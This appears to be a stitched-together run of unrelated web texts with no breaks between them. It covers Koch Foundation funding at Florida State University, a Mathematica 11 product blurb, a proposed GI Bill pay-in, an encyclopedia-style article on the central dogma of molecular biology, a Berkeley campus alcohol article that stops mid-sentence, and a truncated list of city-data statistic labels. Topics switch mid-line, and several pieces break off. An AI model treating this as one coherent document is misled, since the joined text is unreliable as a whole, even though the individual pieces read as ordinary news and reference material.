Florida State University “willfully and knowingly violated the integrity of FSU by accepting funding meant only to further Koch’s free-market agenda,” said Wilson, whose student group works to “combat the corporatization of higher education.”
The Charles Koch Foundation, meanwhile, “is using our universities solely to further their own agenda and plunder the very foundations of academic freedom,” Wilson said.
At the end of 2012, the foundation reported having almost $265.7 million in assets, according to its most recent tax return filed with the Internal Revenue Service.
In his 2007 memo to colleagues, Benson acknowledged the school’s relationship with the foundation would invite blowback.
“I guess I am trying to say that this is not an effort to transform the whole department or our curriculum,” Benson wrote. “It is an effort to add to the department in order to offer some students some options that they may not feel they have now, and to create (or more accurately, expand) a cluster of faculty with overlapping interests.”
Benson also predicted entering into an agreement with the foundation carried some risk.
“There clearly is a danger in this, of course. For instance, we might be tempted to lower our standards in order to hire people they like,” Benson wrote, in advocating that the university not do so. “We cannot expect them to be willing to give us free reign to hire anyone we might want, however, so the question becomes, can we find faculty who meet our own standards but who are also acceptable to the funding sources?”
The Koch brothers are best known not for their educational efforts but for controlling a constellation of conservative, politically active nonprofit corporations.
For example, this election cycle alone, six nonprofits connected to the Kochs have combined to air about 44,000 television ads in U.S. Senate races through late August, with the ads typically promoting Republicans or criticizing Democrats.What's New in Mathematica 11
Representing a major milestone in an unprecedented 30-year journey, Mathematica 11 significantly extends the reach of Mathematica and introduces many innovations that give all Mathematica users new levels of power and effectiveness.
With its bold long-term vision of integrating and automating all areas of computation and knowledge, each new version of Mathematica makes new domains accessible as a routine part of any user's workflow. Want to find the solution to a PDE and then 3D print it? Mathematica 11 provides integrated tools that yet again vastly expand the scope of cross-domain projects that can routinely be done by users at all levels.
Mathematica 11 builds on Wolfram's recent R&D breakthroughs in a host of areas—including neural network computation, audio integration and linguistic computing. Existing Mathematica users will also find a wide range of convenient enhancements in interface, language and algorithm depth and efficiency.WASHINGTON – Congress is in the early stages of considering a mandate for servicemembers to pay into the GI Bill – a proposal that has drawn sharp criticism from one veterans organization, while another argues it would improve and protect the education benefit for the long haul.
The House Committee on Veterans’ Affairs gave veterans groups a draft last week of legislation that would deduct $100 from servicemembers’ basic pay each month for two years, for a total of $2,400, in order for them to receive education benefits. The Post-9/11 GI Bill created in 2009 doesn’t require servicemembers to pay into it, but an earlier version of the benefit – the Montgomery GI Bill – mandated recipients to pay $100 per month for one year.
Veterans of Foreign Wars issued a statement Tuesday, calling the proposed $2,400 buy-in a “tax on troops” that VA committee leadership was attempting to pass quickly and quietly, without allowing opposition the chance to speak up.
“The Post-9/11 GI Bill was implemented as a high-five, a wartime benefit. It was a, ‘Thanks for taking the oath of enlistment while at wartime’,” said Kayda Keleher, a VFW legislative associate. “The VFW… will not stand idly by as Congress continues adding on mandatory pay-in requirements of our troops, let alone while we are still at war.”
Will Hubbard, vice president of government affairs for Student Veterans of America, called the VFW’s position “short-sighted.”
Hubbard said the buy-in would provide an estimated $330 million each year, which would bankroll an expansion to veterans’ education benefits. Some of the improvements SVA, which says it supports more than 500,000 student veterans, are seeking include more money for veterans pursuing Science, Technology, Engineering and Mathematics degrees, increased benefits for survivors and dependents, providing more benefits for reservists and doing away with a requirement that veterans use their benefits within 15 years after their military service.
“What we are seeking and continue to push for is a consolidated, streamlined GI Bill program – a lifetime GI Bill,” Hubbard said. “In doing so, we were able to identify a long list of features that the larger veteran population has been fighting for, for a long time. This is the way to do that. It’s arguably the most significant proposal on education legislation in the last 10 years or so.”
Tiffany Haverly, communications director for Rep. Phil Roe, R-Tenn., chairman of the House Committee on Veterans’ Affairs, said the committee has worked with veterans organizations during the last several months to work on possible improvements to the GI Bill.
On April 26, the veterans subcommittee on economic opportunity will hold a legislative hearing on the proposal, which Roe is submitting, as well as other possible changes to the GI Bill. Haverly said it would “bring these ideas, and how to pay for them, forward for further debate.”
“The chairman is dedicated to debating these proposed reforms through an open, transparent and inclusive process,” she said. “The feedback received from witnesses and the will of the committee members will decide whether all, some or none of the proposals under consideration advance through the committee.”
EDITOR'S NOTE: The House Committee on Veterans’ Affairs postponed on Friday a hearing planned for April 26 to discuss proposed changes to the GI Bill, including the idea of troops paying to receive the education benefit. Committee staff did not say when the hearing would be rescheduled.
Keleher conceded the veterans community has long sought improvements to the GI Bill – and money to fund them — but contended “right now is just not the time” to reduce servicemembers’ pay to fund it.
“Everybody absolutely wants to make improvements to the GI Bill, and everything costs money – there’s no getting around that. It’s constantly been a fight of, ‘Where’s the money,’” Keleher said. “This would be something that can pay for some improvements, but we’re looking at this as digressing.”
The VFW, which has 1.7 million members, put out the call Tuesday urging Congress against the change. VFW National Commander Brian Duffy said it was “absurd” and was essentially “nickeling and diming America’s servicemembers.”
Hubbard, who serves in the Marine Corps Reserve, argued post-9/11 veterans would be willing to pay for an expanded GI Bill.
“They see and know the investment,” he said. “This newer generation of veterans is, by and large, willing to give a little to get a lot.”
However, Iraq and Afghanistan Veterans of America, which has 183,000 members, called the proposal “political cowardice” and “bad for recruiting and morale.”
“We welcome efforts to make the benefit stronger and more flexible,” Paul Rieckhoff, founder of IAVA, said Tuesday in a statement. “However, IAVA will vigorously oppose any and all attempts to impose a registration tax on this essential benefit.”
A draft of the legislation states the buy-in provision would go into effect one year after the bill is enacted and would apply to servicemembers who enlist on or after that date. Hubbard said it’s estimated to provide $3 billion over 10 years, about enough to pay only for the improvements.
There are long-held fears in the veterans community that Congress will eventually cut funding to veterans’ education benefits. The buy-in would offer some protection against any future reductions, Hubbard said.
“There are budget pressures on the Hill and the post-9/11 GI Bill is a significant cost,” he said. “We’d like to keep this benefit around, ideally as long as possible if not forever. We realized building in this investment that servicemembers would be making, it makes it more difficult to get rid of the program. We’d have a buffer against any potential cuts.”
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Twitter: @nikkiwentlingThe central dogma of molecular biology is an explanation of the flow of genetic information within a biological system. It is often stated as "DNA makes RNA and RNA makes protein,"[1] although this is not its original meaning. It was first stated by Francis Crick in 1957[2][3], then published in 1958:[4]
“ The Central Dogma. This states that once 'information' has passed into protein it cannot get out again. In more detail, the transfer of information from nucleic acid to nucleic acid, or from nucleic acid to protein may be possible, but transfer from protein to protein, or from protein to nucleic acid is impossible. Information means here the precise determination of sequence, either of bases in the nucleic acid or of amino acid residues in the protein. ” — Francis Crick, 1958
and re-stated in a Nature paper published in 1970:[5]
Information flow in biological systems
“ The central dogma of molecular biology deals with the detailed residue-by-residue transfer of sequential information. It states that such information cannot be transferred back from protein to either protein or nucleic acid. ” — Francis Crick
A second version of the central dogma is popular but incorrect. This is the simplistic DNA → RNA → protein pathway published by James Watson in the first edition of The Molecular Biology of the Gene (1965). Watson's version differs from Crick's because Watson describes a two-step (DNA → RNA and RNA → protein) process as the central dogma.[6] While the dogma, as originally stated by Crick, remains valid today[citation needed], Watson's version does not[citation needed].
The dogma is a framework for understanding the transfer of sequence information between information-carrying biopolymers, in the most common or general case, in living organisms. There are 3 major classes of such biopolymers: DNA and RNA (both nucleic acids), and protein. There are 3×3=9 conceivable direct transfers of information that can occur between these. The dogma classes these into 3 groups of 3: three general transfers (believed to occur normally in most cells), three special transfers (known to occur, but only under specific conditions in case of some viruses or in a laboratory), and three unknown transfers (believed never to occur). The general transfers describe the normal flow of biological information: DNA can be copied to DNA (DNA replication), DNA information can be copied into mRNA (transcription), and proteins can be synthesized using the information in mRNA as a template (translation). The special transfers describe: RNA being copied from RNA (RNA replication), DNA being synthesised using an RNA template (reverse transcription), and proteins being synthesised directly from a DNA template without the use of mRNA. The unknown transfers describe: a protein being copied from a protein, synthesis of RNA using the primary structure of a protein as a template, and DNA synthesis using the primary structure of a protein as a template - these are not thought to naturally occur.[5]
Biological sequence information [ edit ]
The biopolymers that comprise DNA, RNA and (poly)peptides are linear polymers (i.e.: each monomer is connected to at most two other monomers). The sequence of their monomers effectively encodes information. The transfers of information described by the central dogma ideally are faithful, deterministic transfers, wherein one biopolymer's sequence is used as a template for the construction of another biopolymer with a sequence that is entirely dependent on the original biopolymer's sequence.
General transfers of biological sequential information [ edit ]
Table of the three classes of information transfer suggested by the dogma General Special Unknown DNA → DNA RNA → DNA protein → DNA DNA → RNA RNA → RNA protein → RNA RNA → protein DNA → protein protein → protein
DNA replications [ edit ]
In the sense that DNA replication must occur if genetic material is to be provided for the progeny of any cell, whether somatic or reproductive, the copying from DNA to DNA arguably is the fundamental step in the central dogma. A complex group of proteins called the replisome performs the replication of the information from the parent strand to the complementary daughter strand.[7]
The replisome comprises:
This process typically takes place during S phase of the cell cycle.
Transcription [ edit ]
Transcription is the process by which the information contained in a section of DNA is replicated in the form of a newly assembled piece of messenger RNA (mRNA). Enzymes facilitating the process include RNA polymerase and transcription factors. In eukaryotic cells the primary transcript is pre-mRNA. Pre-mRNA must be processed for translation to proceed. Processing includes the addition of a 5' cap and a poly-A tail to the pre-mRNA chain, followed by splicing. Alternative splicing occurs when appropriate, increasing the diversity of the proteins that any single mRNA can produce. The product of the entire transcription process (that began with the production of the pre-mRNA chain) is a mature mRNA chain.
Translation [ edit ]
The mature mRNA finds its way to a ribosome, where it gets translated. In prokaryotic cells, which have no nuclear compartment, the processes of transcription and translation may be linked together without clear separation. In eukaryotic cells, the site of transcription (the cell nucleus) is usually separated from the site of translation (the cytoplasm), so the mRNA must be transported out of the nucleus into the cytoplasm, where it can be bound by ribosomes. The ribosome reads the mRNA triplet codons, usually beginning with an AUG (adenine−uracil−guanine), or initiator methionine codon downstream of the ribosome binding site. Complexes of initiation factors and elongation factors bring aminoacylated transfer RNAs (tRNAs) into the ribosome-mRNA complex, matching the codon in the mRNA to the anti-codon on the tRNA. Each tRNA bears the appropriate amino acid residue to add to the polypeptide chain being synthesised. As the amino acids get linked into the growing peptide chain, the chain begins folding into the correct conformation. Translation ends with a stop codon which may be a UAA, UGA, or UAG triplet.
The mRNA does not contain all the information for specifying the nature of the mature protein. The nascent polypeptide chain released from the ribosome commonly requires additional processing before the final product emerges. For one thing, the correct folding process is complex and vitally important. For most proteins it requires other chaperone proteins to control the form of the product. Some proteins then excise internal segments from their own peptide chains, splicing the free ends that border the gap; in such processes the inside "discarded" sections are called inteins. Other proteins must be split into multiple sections without splicing. Some polypeptide chains need to be cross-linked, and others must be attached to cofactors such as haem (heme) before they become functional.
Special transfers of biological sequential information [ edit ]
Reverse transcription [ edit ]
Unusual flows of information highlighted in green
Reverse transcription is the transfer of information from RNA to DNA (the reverse of normal transcription). This is known to occur in the case of retroviruses, such as HIV, as well as in eukaryotes, in the case of retrotransposons and telomere synthesis. It is the process by which genetic information from RNA gets transcribed into new DNA.
RNA replication [ edit ]
RNA replication is the copying of one RNA to another. Many viruses replicate this way. The enzymes that copy RNA to new RNA, called RNA-dependent RNA polymerases, are also found in many eukaryotes where they are involved in RNA silencing.[8]
RNA editing, in which an RNA sequence is altered by a complex of proteins and a "guide RNA", could also be seen as an RNA-to-RNA transfer.
Direct translation from DNA to protein [ edit ]
Direct translation from DNA to protein has been demonstrated in a cell-free system (i.e. in a test tube), using extracts from E. coli that contained ribosomes, but not intact cells. These cell fragments could synthesize proteins from single-stranded DNA templates isolated from other organisms (e,g., mouse or toad), and neomycin was found to enhance this effect. However, it was unclear whether this mechanism of translation corresponded specifically to the genetic code.[9][10]
Transfers of information not explicitly covered in the theory [ edit ]
Posttranslational modification [ edit ]
After protein amino acid sequences have been translated from nucleic acid chains, they can be edited by appropriate enzymes. Although this is a form of protein affecting protein sequence, not explicitly covered by the central dogma, there are not many clear examples where the associated concepts of the two fields have much to do with each other.
Inteins [ edit ]
An intein is a "parasitic" segment of a protein that is able to excise itself from the chain of amino acids as they emerge from the ribosome and rejoin the remaining portions with a peptide bond in such a manner that the main protein "backbone" does not fall apart. This is a case of a protein changing its own primary sequence from the sequence originally encoded by the DNA of a gene. Additionally, most inteins contain a homing endonuclease or HEG domain which is capable of finding a copy of the parent gene that does not include the intein nucleotide sequence. On contact with the intein-free copy, the HEG domain initiates the DNA double-stranded break repair mechanism. This process causes the intein sequence to be copied from the original source gene to the intein-free gene. This is an example of protein directly editing DNA sequence, as well as increasing the sequence's heritable propagation.
Methylation [ edit ]
Variation in methylation states of DNA can alter gene expression levels significantly. Methylation variation usually occurs through the action of DNA methylases. When the change is heritable, it is considered epigenetic. When the change in information status is not heritable, it would be a somatic epitype. The effective information content has been changed by means of the actions of a protein or proteins on DNA, but the primary DNA sequence is not altered.
Prions [ edit ]
Prions are proteins of particular amino acid sequences in particular conformations. They propagate themselves in host cells by making conformational changes in other molecules of protein with the same amino acid sequence, but with a different conformation that is functionally important or detrimental to the organism. Once the protein has been transconformed to the prion folding it changes function. In turn it can convey information into new cells and reconfigure more functional molecules of that sequence into the alternate prion form. In some types of prion in fungi this change is continuous and direct; the information flow is Protein → Protein.
Some scientists such as Alain E. Bussard and Eugene Koonin have argued that prion-mediated inheritance violates the central dogma of molecular biology.[11][12] However, Rosalind Ridley in Molecular Pathology of the Prions (2001) has written that "The prion hypothesis is not heretical to the central dogma of molecular biology—that the information necessary to manufacture proteins is encoded in the nucleotide sequence of nucleic acid—because it does not claim that proteins replicate. Rather, it claims that there is a source of information within protein molecules that contributes to their biological function, and that this information can be passed on to other molecules."[13]
Natural genetic engineering [ edit ]
James A. Shapiro argues that a superset of these examples should be classified as natural genetic engineering and are sufficient to falsify the central dogma. While Shapiro has received a respectful hearing for his view, his critics have not been convinced that his reading of the central dogma is in line with what Crick intended.[14][15]
Use of the term "dogma" [ edit ]
In his autobiography, What Mad Pursuit, Crick wrote about his choice of the word dogma and some of the problems it caused him:
"I called this idea the central dogma, for two reasons, I suspect. I had already used the obvious word hypothesis in the sequence hypothesis, and in addition I wanted to suggest that this new assumption was more central and more powerful.... As it turned out, the use of the word dogma caused almost more trouble than it was worth. Many years later Jacques Monod pointed out to me that I did not appear to understand the correct use of the word dogma, which is a belief that cannot be doubted. I did apprehend this in a vague sort of way but since I thought that all religious beliefs were without foundation, I used the word the way I myself thought about it, not as most of the world does, and simply applied it to a grand hypothesis that, however plausible, had little direct experimental support."
Similarly, Horace Freeland Judson records in The Eighth Day of Creation:[16]
"My mind was, that a dogma was an idea for which there was no reasonable evidence. You see?!" And Crick gave a roar of delight. "I just didn't know what dogma meant. And I could just as well have called it the 'Central Hypothesis,' or — you know. Which is what I meant to say. Dogma was just a catch phrase."
Comparison with the Weismann barrier [ edit ]
The Weismann barrier, proposed by August Weismann in 1892, distinguishes between the "immortal" germ cell lineages (the germ plasm) which produce gametes and the "disposable" somatic cells. Hereditary information moves only from germline cells to somatic cells (that is, somatic mutations are not inherited). This, before the discovery of the role or structure of DNA, does not predict the central dogma, but does anticipate its gene-centric view of life, albeit in non-molecular terms.[17][18]
See also [ edit ]
References [ edit ]Despite official statistics suggesting 2016 was a banner year for alcohol abuse during the first weeks of the UC Berkeley school year, anecdotes from first responders and student leaders suggest otherwise.
In early September, the state bureau of Alcohol and Beverage Control released figures for the first two weekends of the school year that indicated alcohol-related incidents spiked 110% this year, compared with 2004 when the ABC bureau first started collecting data. And this year’s total of 551 incidents is up 30% from 2015.
The stats are based on a collaboration between the Berkeley Police Department, ABC and other law-enforcement agencies that is funded through a grant. The annual effort began in 2004.
Unlike previous years, where new records appear in certain citation categories such as ‘open container violations’ or ‘minors in possession of alcohol,’ 2016 set records across the board. For example, in 2016 law enforcement handed out 36 citations for ‘furnishing alcohol to minors,’ beating the 2006 record of 32.
The UC Police reported a slight uptick in hospital transports to 15, from 11 in August. But September, at least through Sept. 21, declined to 16 from 19 in 2015, according to Sergeant Sabrina Reich.
The Berkeley Police Department acknowledged that the increase was likely due to the number of officers involved.
University officials told Berkeleyside via a written statement that UC Berkeley has been trying to compile its own data but has run into problems because of various federal privacy statutes, and the number of government agencies involved.
Students involved with efforts to curtail excessive alcohol consumption did not see this as a particularly troubling year in terms of alcohol consumption.
“I don’t believe that there was a higher level of drinking this year and the increased citations very well might be an increase in policing and not because there’s was an actual increase,” Isabella Brandes told Berkeleyside. Brandes, a senior, is a coordinator at the Party Safe at Cal program.
“I also think that it’s important to remember that significantly more students are coming in this year. There were about 1,000 new students and it’s really about the first-year students’ experience, and their drinking-related harm. One factor: for the first time, I saw a police officer on every corner of Channing Circle.”
A firefighter agrees with Brandes’ assessment.
“This year wasn’t as bad as some years past,” said Kristin Tucker, who has been a paramedic and firefighter for 14 years.
“It’s still not good, but compared with a couple years ago, maybe three years ago, it was better. But it still takes a toll on the 911 system, uses a lot of our resources,” she said.
Yet, unquestionably, excessive alcohol consumption has become a perennial issue at the university — and at campuses across the country. Student groups, city-university partnerships and community groups have become more involved with the issue over the years.
Brandes said she observed a troubling culture of alcohol consumption as a freshman.
“It was a huge shock to me, that there was this very preventable kind of harm,” she said. Since then, she has worked to address the |
- Built 1990 to 1999 (%) Year house built - Built 1980 to 1989 (%) Year house built - Built 1970 to 1979 (%) Year house built - Built 1960 to 1969 (%) Year house built - Built 1950 to 1959 (%) Year house built - Built 1940 to 1949 (%) Year house built - Built 1939 or earlier (%) Average household size Household density (households per square mile) Average household size - White Average household size - Black or African American Average household size - Asian Average household size - Hispanic or Latino Average household size - American Indian and Alaska Native Average household size - Multirace Average household size - Other Race Occupied housing units (%) Vacant housing units (%) Owner occupied housing units (%) Renter occupied housing units (%) Vacancy status - For rent (%) Vacancy status - For sale only (%) Vacancy status - Rented or sold, not occupied (%) Vacancy status - For seasonal, recreational, or occasional use (%) Vacancy status - For migrant workers (%) Vacancy status - Other vacant (%) Residents with income below the poverty level (%) Residents with income below 50% of the poverty level (%) Children below poverty level (%) Poor families by family type - Married-couple family (%) Poor families by family type - Male, no wife present (%) Poor families by family type - Female, no husband present (%) Poverty status for native-born residents (%) Poverty status for foreign-born residents (%) Poverty among high school graduates not in families (%) Poverty among people who did not graduate high school not in families (%) Residents with income below the poverty level (%) - White Residents with income below the poverty level (%) - Black or African American Residents with income below the poverty level (%) - Asian Residents with income below the poverty level (%) - Hispanic or Latino Residents with income below the poverty level (%) - American Indian and Alaska Native Residents with income below the poverty level (%) - Multirace Residents with income below the poverty level (%) - Other Race Air pollution - Air Quality Index (AQI) Air pollution - CO Air pollution - NO2 Air pollution - SO2 Air pollution - Ozone Air pollution - PM10 Air pollution - PM25 Air pollution - Pb Crime - Murders per 100,000 population Crime - Rapes per 100,000 population Crime - Robberies per 100,000 population Crime - Assaults per 100,000 population Crime - Burglaries per 100,000 population Crime - Thefts per 100,000 population Crime - Auto thefts per 100,000 population Crime - Arson per 100,000 population Crime - City-data.com crime index Crime - Violent crime index Crime - Property crime index 1996 Presidential Elections Results - Democratic Party (Clinton) 1996 Presidential Elections Results - Republican Party (Dole) 1996 Presidential Elections Results - Other 2000 Presidential Elections Results - Democratic Party (Gore) 2000 Presidential Elections Results - Republican Party (Bush) 2000 Presidential Elections Results - Other 2004 Presidential Elections Results - Democratic Party (Kerry) 2004 Presidential Elections Results - Republican Party (Bush) 2004 Presidential Elections Results - Other 2008 Presidential Elections Results - Democratic Party (Obama) 2008 Presidential Elections Results - Republican Party (McCain) 2008 Presidential Elections Results - Other 2012 Presidential Elections Results - Democratic Party (Obama) 2012 Presidential Elections Results - Republican Party (Romney) 2012 Presidential Elections Results - Other 2012 Presidential Elections Results - Democratic Party (Obama) 2012 Presidential Elections Results - Republican Party (Romney) 2012 Presidential Elections Results - Other Ancestries Reported - Arab (%) Ancestries Reported - Czech (%) Ancestries Reported - Danish (%) Ancestries Reported - Dutch (%) Ancestries Reported - English (%) Ancestries Reported - French (%) Ancestries Reported - French Canadian (%) Ancestries Reported - German (%) Ancestries Reported - Greek (%) Ancestries Reported - Hungarian (%) Ancestries Reported - Irish (%) Ancestries Reported - Italian (%) Ancestries Reported - Lithuanian (%) Ancestries Reported - Norwegian (%) Ancestries Reported - Polish (%) Ancestries Reported - Portuguese (%) Ancestries Reported - Russian (%) Ancestries Reported - Scotch-Irish (%) Ancestries Reported - Scottish (%) Ancestries Reported - Slovak (%) Ancestries Reported - Subsaharan African (%) Ancestries Reported - Swedish (%) Ancestries Reported - Swiss (%) Ancestries Reported - Ukrainian (%) Ancestries Reported - United States (%) Ancestries Reported - Welsh (%) Ancestries Reported - West Indian (%) Ancestries Reported - Other (%) Educational Attainment - No schooling completed (%) Educational Attainment - Less than high school (%) Educational Attainment - High school or equivalent (%) Educational Attainment - Less than 1 year of college (%) Educational Attainment - 1 or more years of college (%) Educational Attainment - Associate degree (%) Educational Attainment - Bachelor's degree (%) Educational Attainment - Master's degree (%) Educational Attainment - Professional school degree (%) Educational Attainment - Doctorate degree (%) School Enrollment - Nursery, preschool (%) School Enrollment - Kindergarten (%) School Enrollment - Grade 1 to 4 (%) School Enrollment - Grade 5 to 8 (%) School Enrollment - Grade 9 to 12 (%) School Enrollment - College undergrad (%) School Enrollment - Graduate or professional (%) School Enrollment - Not enrolled in school (%) School enrollment - Public schools (%) School enrollment - Private schools (%) School enrollment - Not enrolled (%) Median number of rooms in houses and condos Median number of rooms in apartments Housing units lacking complete plumbing facilities (%) Housing units lacking complete kitchen facilities (%) Density of houses Urban houses (%) Rural houses (%) Households with people 60 years and over (%) Households with people 65 years and over (%) Households with people 75 years and over (%) Households with one or more nonrelatives (%) Households with no nonrelatives (%) Population in households (%) Family households (%) Nonfamily households (%) Population in families (%) Family households with own children (%) Median number of bedrooms in owner occupied houses Mean number of bedrooms in owner occupied houses Median number of bedrooms in renter occupied houses Mean number of bedrooms in renter occupied houses Median number of vehichles in owner occupied houses Mean number of vehichles in owner occupied houses Median number of vehichles in renter occupied houses Mean number of vehichles in renter occupied houses Mortgage status - with mortgage (%) Mortgage status - with second mortgage (%) Mortgage status - with home equity loan (%) Mortgage status - with both second mortgage and home equity loan (%) Mortgage status - without a mortgage (%) Average family size Average family size - White Average family size - Black or African American Average family size - Asian Average family size - Hispanic or Latino Average family size - American Indian and Alaska Native Average family size - Multirace Average family size - Other Race Geographical mobility - Same house 1 year ago (%) Geographical mobility - Moved within same county (%) Geographical mobility - Moved from different county within same state (%) Geographical mobility - Moved from different state (%) Geographical mobility - Moved from abroad (%) Place of birth - Born in state of residence (%) Place of birth - Born in other state (%) Place of birth - Native, outside of US (%) Place of birth - Foreign born (%) Housing units in structures - 1, detached (%) Housing units in structures - 1, attached (%) Housing units in structures - 2 (%) Housing units in structures - 3 or 4 (%) Housing units in structures - 5 to 9 (%) Housing units in structures - 10 to 19 (%) Housing units in structures - 20 to 49 (%) Housing units in structures - 50 or more (%) Housing units in structures - Mobile home (%) Housing units in structures - Boat, RV, van, etc. (%) House/condo owner moved in on average (years ago) Renter moved in on average (years ago) Year householder moved into unit - Moved in 1999 to March 2000 (%) Year householder moved into unit - Moved in 1995 to 1998 (%) Year householder moved into unit - Moved in 1990 to 1994 (%) Year householder moved into unit - Moved in 1980 to 1989 (%) Year householder moved into unit - Moved in 1970 to 1979 (%) Year householder moved into unit - Moved in 1969 or earlier (%) Means of transportation to work - Drove car alone (%) Means of transportation to work - Carpooled (%) Means of transportation to work - Public transportation (%) Means of transportation to work - Bus or trolley bus (%) Means of transportation to work - Streetcar or trolley car (%) Means of transportation to work - Subway or elevated (%) Means of transportation to work - Railroad (%) Means of transportation to work - Ferryboat (%) Means of transportation to work - Taxicab (%) Means of transportation to work - Motorcycle (%) Means of transportation to work - Bicycle (%) Means of transportation to work - Walked (%) Means of transportation to work - Other means (%) Working at home (%) Industry diversity Most Common Industries - Agriculture, forestry, fishing and hunting, and mining (%) Most Common Industries - Agriculture, forestry, fishing and hunting (%) Most Common Industries - Mining, quarrying, and oil and gas extraction (%) Most Common Industries - Construction (%) Most Common Industries - Manufacturing (%) Most Common Industries - Wholesale trade (%) Most Common Industries - Retail trade (%) Most Common Industries - Transportation and warehousing, and utilities (%) Most Common Industries - Transportation and warehousing (%) Most Common Industries - Utilities (%) Most Common Industries - Information (%) Most Common Industries - Finance and insurance, and real estate and rental and leasing (%) Most Common Industries - Finance and insurance (%) Most Common Industries - Real estate and rental and leasing (%) Most Common Industries - Professional, scientific, and management, and administrative and waste management services (%) Most Common Industries - Professional, scientific, and technical services (%) Most Common Industries - Management of companies and enterprises (%) Most Common Industries - Administrative and support and waste management services (%) Most Common Industries - Educational services, and health care and social assistance (%) Most Common Industries - Educational services (%) Most Common Industries - Health care and social assistance (%) Most Common Industries - Arts, entertainment, and recreation, and accommodation and food services (%) Most Common Industries - Arts, entertainment, and recreation (%) Most Common Industries - Accommodation and food services (%) Most Common Industries - Other services, except public administration (%) Most Common Industries - Public administration (%) Occupation diversity Most Common Occupations - Management, business, science, and arts occupations (%) Most Common Occupations - Management, business, and financial occupations (%) Most Common Occupations - Management occupations (%) Most Common Occupations - Business and financial operations occupations (%) Most Common Occupations - Computer, engineering, and science occupations (%) Most Common Occupations - Computer and mathematical occupations (%) Most Common Occupations - Architecture and engineering occupations (%) Most Common Occupations - Life, physical, and social science occupations (%) Most Common Occupations - Education, legal, community service, arts, and media occupations (%) Most Common Occupations - Community and social service occupations (%) Most Common Occupations - Legal occupations (%) Most Common Occupations - Education, training, and library occupations (%) Most Common Occupations - Arts, design, entertainment, sports, and media occupations (%) Most Common Occupations - Healthcare practitioners and technical occupations (%) Most Common Occupations - Health diagnosing and treating practitioners and other technical occupations (%) Most Common Occupations - Health technologists and technicians (%) Most Common Occupations - Service occupations (%) Most Common Occupations - Healthcare support occupations (%) Most Common Occupations - Protective service occupations (%) Most Common Occupations - Fire fighting and prevention, and other protective service workers including supervisors (%) Most Common Occupations - Law enforcement workers including supervisors (%) Most Common Occupations - Food preparation and serving related occupations (%) Most Common Occupations - Building and grounds cleaning and maintenance occupations (%) Most Common Occupations - Personal care and service occupations (%) Most Common Occupations - Sales and office occupations (%) Most Common Occupations - Sales and related occupations (%) Most Common Occupations - Office and administrative support occupations (%) Most Common Occupations - Natural resources, construction, and maintenance occupations (%) Most Common Occupations - Farming, fishing, and forestry occupations (%) Most Common Occupations - Construction and extraction occupations (%) Most Common Occupations - Installation, maintenance, and repair occupations (%) Most Common Occupations - Production, transportation, and material moving occupations (%) Most Common Occupations - Production occupations (%) Most Common Occupations - Transportation occupations (%) Most Common Occupations - Material moving occupations (%) People in Group quarters - Institutionalized population (%) People in Group quarters - Correctional institutions (%) People in Group quarters - Federal prisons and detention centers (%) People in Group quarters - Halfway houses (%) People in Group quarters - Local jails and other confinement facilities (including police lockups) (%) People in Group quarters - Military disciplinary barracks (%) People in Group quarters - State prisons (%) People in Group quarters - Other types of correctional institutions (%) People in Group quarters - Nursing homes (%) People in Group quarters - Hospitals/wards, hospices, and schools for the handicapped (%) People in Group quarters - Hospitals/wards and hospices for chronically ill (%) People in Group quarters - Hospices or homes for chronically ill (%) People in Group quarters - Military hospitals or wards for chronically ill (%) People in Group quarters - Other hospitals or wards for chronically ill (%) People in Group quarters - Hospitals or wards for drug/alcohol abuse (%) People in Group quarters - Mental (Psychiatric) hospitals or wards (%) People in Group quarters - Schools, hospitals, or wards for the mentally retarded (%) People in Group quarters - Schools, hospitals, or wards for the physically handicapped (%) People in Group quarters - Institutions for the deaf (%) People in Group quarters - Institutions for the blind (%) People in Group quarters - Orthopedic wards and institutions for the physically handicapped (%) People in Group quarters - Wards in general hospitals for patients who have no usual home elsewhere (%) People in Group quarters - Wards in military hospitals for patients who have no usual home elsewhere (%) People in Group quarters - Juvenile institutions (%) People in Group quarters - Long-term care (%) People in Group quarters - Homes for abused, dependent, and neglected children (%) People in Group quarters - Residential treatment centers for emotionally disturbed children (%) People in Group quarters - Training schools for juvenile delinquents (%) People in Group quarters - Short-term care, detention or diagnostic centers for delinquent children (%) People in Group quarters - Type of juvenile institution unknown (%) People in Group quarters - Noninstitutionalized population (%) People in Group quarters - College dormitories (includes college quarters off campus) (%) People in Group quarters - Military quarters (%) People in Group quarters - On base (%) People in Group quarters - Barracks, unaccompanied personnel housing (UPH), (Enlisted/Officer), ;and similar group living quarters for military personnel (%) People in Group quarters - Transient quarters for temporary residents (%) People in Group quarters - Military ships (%) People in Group quarters - Group homes (%) People in Group quarters - Homes or halfway houses for drug/alcohol abuse (%) People in Group quarters - Homes for the mentally ill (%) People in Group quarters - Homes for the mentally retarded (%) People in Group quarters - Homes for the physically handicapped (%) People in Group quarters - Other group homes (%) People in Group quarters - Religious group quarters (%) People in Group quarters - Dormitories (%) People in Group quarters - Agriculture workers' dormitories on farms (%) People in Group quarters - Job Corps and vocational training facilities (%) People in Group quarters - Other workers' dormitories (%) People in Group quarters - Crews of maritime vessels (%) People in Group quarters - Other nonhousehold living situations (%) People in Group quarters - Other noninstitutional group quarters (%) Residents speaking English at home (%) Residents speaking English at home - Born in the United States (%) Residents speaking English at home - Native, born elsewhere (%) Residents speaking English at home - Foreign born (%) Residents speaking Spanish at home (%) Residents speaking Spanish at home - Born in the United States (%) Residents speaking Spanish at home - Native, born elsewhere (%) Residents speaking Spanish at home - Foreign born (%) Residents speaking other language at home (%) Residents speaking other language at home - Born in the United States (%) Residents speaking other language at home - Native, born elsewhere (%) Residents speaking other language at home - Foreign born (%) Class of Workers - Employee of private company (%) Class of Workers - Self-employed in own incorporated business (%) Class of Workers - Private not-for-profit wage and salary workers (%) Class of Workers - Local government workers (%) Class of Workers - State government workers (%) Class of Workers - Federal government workers (%) Class of Workers - Self-employed workers in own not incorporated business and Unpaid family workers (%) House heating fuel used in houses and condos - Utility gas (%) House heating fuel used in houses and condos - Bottled, tank, or LP gas (%) House heating fuel used in houses and condos - Electricity (%) House heating fuel used in houses and condos - Fuel oil, kerosene, etc. (%) House heating fuel used in houses and condos - Coal or coke (%) House heating fuel used in houses and condos - Wood (%) House heating fuel used in houses and condos - Solar energy (%) House heating fuel used in houses and condos - Other fuel (%) House heating fuel used in houses and condos - No fuel used (%) House heating fuel used in apartments - Utility gas (%) House heating fuel used in apartments - Bottled, tank, or LP gas (%) House heating fuel used in apartments - Electricity (%) House heating fuel used in apartments - Fuel oil, kerosene, etc. (%) House heating fuel used in apartments - Coal 